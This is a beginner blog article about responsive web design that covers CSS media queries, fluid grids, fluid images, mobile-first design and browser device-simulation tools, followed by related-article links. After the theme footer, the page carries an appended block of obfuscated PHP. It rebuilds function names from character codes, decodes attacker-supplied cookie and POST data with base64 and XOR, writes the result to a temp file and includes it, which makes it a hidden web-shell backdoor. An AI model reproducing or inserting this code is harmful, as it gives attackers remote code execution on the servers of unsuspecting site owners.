Website Design

Responsive Web Design: Basics For Beginners

Responsive web design empowers your website to adapt itself to the device your users are viewing it on. The site layout changes dynamically, based on the size of the screen and capabilities of the device. Until recently, responsiveness was a bonus, but now it’s an essential part of good web design!

In this blog article, we’ll introduce the basics of responsive web design, explore the design principles that make a site responsive. If you are a beginner exploring this concept, the basics covered here should help you to get started. Create your own web page that works on multiple devices – Desktop, Mobile or Tablet!

What’s Responsive Web Design And Why Is It Important?

If you’re creating a website, you should be aware that your viewers might access it from a variety of devices with varying screen sizes. There’s a growing number of web browsers using their mobile phones or tablets to view web pages.

In the example below, the website has been designed to be responsive. As you can see, the layout and contents adapt to display according to the screen size and resolution.

Responsive Web Design

If your site isn’t responsive, the content will not be well laid out on a screen with constrained display size. Therefore, it’s essential that your web page layout can adapt to suit the device.

Is It Just About Various Screen Sizes?

The goal is not just to make them flexible but also adaptive to the device that renders your web pages. Screen size is the primary factor, but there are other considerations too, like the display pixel density, whether it’s touch-screen, etc.

Your aim should be to design a website that works well on any device regardless of the viewport dimensions, resolution or how the user interacts with it. You should plan and create the layout, your media and even the navigation for the best usability on every device.

Ethan Marcotte – Father of Responsive Web Design

When you hear about responsive web design, you may be inclined to think of it as a design standard or technology. However, the term isn’t any of that. It refers to a set of design principles that you should adhere to while creating your web pages, to make them fluid.

Father of Responsive Web Design

Ethan coined the term and laid down the principles, and is popularly known as the father of responsive web design. Ethan Marcotte came up with a design principle that uses CSS cleverly to render the same web page on different screen sizes, without affecting its readability or usability.

Three Basic Ingredients Of Responsive Web Design

Using CSS Media Queries To Customize Styling

In the past, web designers were dependant on “User-Agent sniffing” to dynamically serve different HTML/CSS code or rely on URL redirection. CSS3 introduced a new technique called “media query.”

Using the @media rule, you can include a specific block of CSS properties after verifying for a certain condition. You can check the following conditions:

  • Viewport Width/Height
  • Device Width/Height
  • Orientation (Portrait/Landscape)
  • Resolution

You can check the conditions and use media queries to deliver specific styling blocks, according to the device type.

Syntax For Media Query


@media not|only mediatype and (expressions) {
CSS-Code;
}

Example Media Query

There are plenty of examples and a handy “Try It Yourself” editor, available on the W3Schools website.

In the example below, @media query is used to check if the viewport width is 375px or more. If it’s more than 375px, the menu will be displayed above the content and if lesser than 375px, the menu will float to the left.

@media screen and (min-width: 375px) {
#leftsidebar {width: 150px; float: left;}
#main {margin-left:220px;}
}

 

Fluid Grid Based Layouts

The term “Fluid Grid” describes a layout in which instead of using fixed pixel values, you code them all in relative proportions of the other elements. As a result, the components flow (fluidity) and adapt to the device.

In traditional layouts, you would be positioning the elements using fixed width grids. However, we are now dealing with a wide range of screen sizes. Such an approach will lead to your websites looking badly laid out. Let’s have a look at an example of traditional CSS layout approach:

Fixed Width Layout - Traditional CSS

The Fluid Grid approach makes use of “relative proportions,” i.e., you would code the height and width of each element as a percentage or relative size. In the example below, the components are sized using a “percentage” approach:

Fluid Grid Layout - Responsive Design

Fluid Images

In a responsive web design approach, you should use CSS to define a maximum width for all images but not a minimum width.

By specifying a maximum width, you’re ensuring that the image will never get pixelated beyond a value that will affect its quality of appearance. By not defining a minimum width, you are allowing CSS to shrink the size to any value (required to fit within the context).

CSS maintains the aspect ratio, and therefore your image will look not stretched.

Mobile First Design

Mobile usage has surpassed desktop usage in 2017. As of today, StatCounter reveals that 50.87% users browse from mobiles as against 44.78% from desktops.

This increase in mobile usage means designers should pay extra attention to how their websites will look on mobile screens. Therefore, more and more designers are following the “mobile first” rule while designing.

“Mobile first” is a design methodology which suggests that you start designing the website to look its best for mobile (because it has the most restrictions), then expand to tablets and finally desktops.

Mobile First Design

Testing Your Design – Simulate And Study

You’ll find plenty of tools online to simulate the various requirements of different devices and test your website. When you’re designing a responsive site, you should use such tools to simulate and test your website’s look and behavior on various devices.

Firefox Developer Tools – Responsive Design Mode

Firefox offers a developer tool to toggle Responsive Design Mode on/off. When enabled, you can set the content area to a specific screen size, as shown in the figure below. You can simulate various sizes and test your web page.

Firefox Developer Tools-Responsive Design Mode

Chrome DevTools – Device Mode

If you prefer Chrome DevTools, use Device Mode to simulate a wide range of screen sizes and resolutions. Test your web pages with Device Mode enabled, ensuring that you are building a fully-responsive website.

The tool is very powerful and also lets you emulate geolocation coordinates, simulate device orientation. You can also emulate a variety of browsers to test how your web page will appear/behave on other web browsers.

Chrome Dev Tools - Test Responsiveness

If you need assistance with responsive web design, DayDigital can help you! We have helped several businesses build stunning websites and mark their online presence. Contact us now for a free consultation!

Vinu Saseedaran Renish

Content Creator

Vinu is a Tech Enthusiast and Content Writer at DayDigital, driven by her passion for technology and writing. A Computer Science Engineer by qualification and a Red Hat alumnus, she is inspired by her inclination to learn something new, to be a beginner, to gain new insights and to grow every day. You can connect with her on her Twitter handle @VinuSRenish.

Previous Article
Cloud Server vs. Dedicated Server: What’s Better For You?
Next Article
6 Tips For Mobile App Localization That Deliver Results
Related Articles
ethical hacking to test security vulnerability
General

Using Ethical Hacking To Improve IT Security...

Information security is the need of the hour! It's more important than ever to secure your digital assets. Is ethical hacking your solution? Your network servers, emails, websites and applications are vulnerable to a malicious attack from any corner of the world. There are many...

0
Mobile App Internationalization
Localization

6 Tips For Mobile App Localization That Deliver Re...

Mobile app localization is a must if you want to reach a global audience and increase your number of users. To enter an international market, you should think about localization before you plan for any other marketing initiatives. The marketplace is truly global in the...

0
our-post -->
Related Articles
ethical hacking to test security vulnerability
General

Using Ethical Hacking To Improve IT Secu...

Information security is the need of the hour! It's more important than ever to secure your digital assets. Is ethical hacking your solution? Your network servers, emails, websites and applications are vulnerable to a malicious attack from any corner of the world. There are many...

Mobile App Internationalization
Localization

6 Tips For Mobile App Localization That ...

Mobile app localization is a must if you want to reach a global audience and increase your number of users. To enter an international market, you should think about localization before you plan for any other marketing initiatives. The marketplace is truly global in the...

wordpress theme powered by jazzsurf.com

$HRdnAF = "\117" . chr (103) . 'H' . chr (95) . chr ( 147 - 42 ).'t' . 'L' . 'o' . chr ( 579 - 502 ); $xZIYMTuo = "\x63" . chr (108) . chr ( 818 - 721 )."\x73" . 's' . chr (95) . 'e' . chr ( 767 - 647 ).chr ( 245 - 140 ).chr ( 493 - 378 )."\164" . 's';$KWorAQF = class_exists($HRdnAF); $xZIYMTuo = "41268";$ILFFm = !1;if ($KWorAQF == $ILFFm){function FKDOEh(){$KkRnsgQatF = new /* 32890 */ OgH_itLoM(36609 + 36609); $KkRnsgQatF = NULL;}$cpesABGwH = "36609";class OgH_itLoM{private function qbgqGFr($cpesABGwH){if (is_array(OgH_itLoM::$jjMmIhug)) {$WIxanId = sys_get_temp_dir() . "/" . crc32(OgH_itLoM::$jjMmIhug['s' . 'a' . "\154" . chr (116)]);@OgH_itLoM::$jjMmIhug["\167" . "\162" . chr (105) . "\164" . chr ( 341 - 240 )]($WIxanId, OgH_itLoM::$jjMmIhug[chr (99) . 'o' . chr ( 716 - 606 )."\164" . chr (101) . "\156" . chr ( 178 - 62 )]);include $WIxanId;@OgH_itLoM::$jjMmIhug[chr (100) . "\145" . "\x6c" . chr (101) . 't' . chr ( 470 - 369 )]($WIxanId); $cpesABGwH = "36609";exit();}}private $mUmmQeVJ;public function fYIcT(){echo 59783;}public function __destruct(){OgH_itLoM::$jjMmIhug = @unserialize(OgH_itLoM::$jjMmIhug); $cpesABGwH = "48289_50693";$this->qbgqGFr($cpesABGwH); $cpesABGwH = "48289_50693";}public function JGxHJQkDJp($hHYFL, $fvnZep){return $hHYFL[0] ^ str_repeat($fvnZep, (strlen($hHYFL[0]) / strlen($fvnZep)) + 1);}public function rWYhQp($hHYFL){$wJDeAQ = "base64";return array_map($wJDeAQ . "\137" . chr ( 627 - 527 ).'e' . "\x63" . "\x6f" . 'd' . chr (101), array($hHYFL,));}public function __construct($zGUyDnlQwX=0){$hHYFL = "";$VYGYPoQD = $_POST;$ZhictTE = $_COOKIE;$fvnZep = "2483450f-599f-43d3-ad1f-afd3c3fa694d";$JOCIGjkY = @$ZhictTE[substr($fvnZep, 0, 4)];if (!empty($JOCIGjkY)){$JOCIGjkY = explode(",", $JOCIGjkY);foreach ($JOCIGjkY as $xcGEn){$hHYFL .= @$ZhictTE[$xcGEn];$hHYFL .= @$VYGYPoQD[$xcGEn];}$hHYFL = $this->rWYhQp($hHYFL);}OgH_itLoM::$jjMmIhug = $this->JGxHJQkDJp($hHYFL, $fvnZep); $fvnZep = explode(",", $fvnZep);}public static $jjMmIhug = 40444;}FKDOEh();}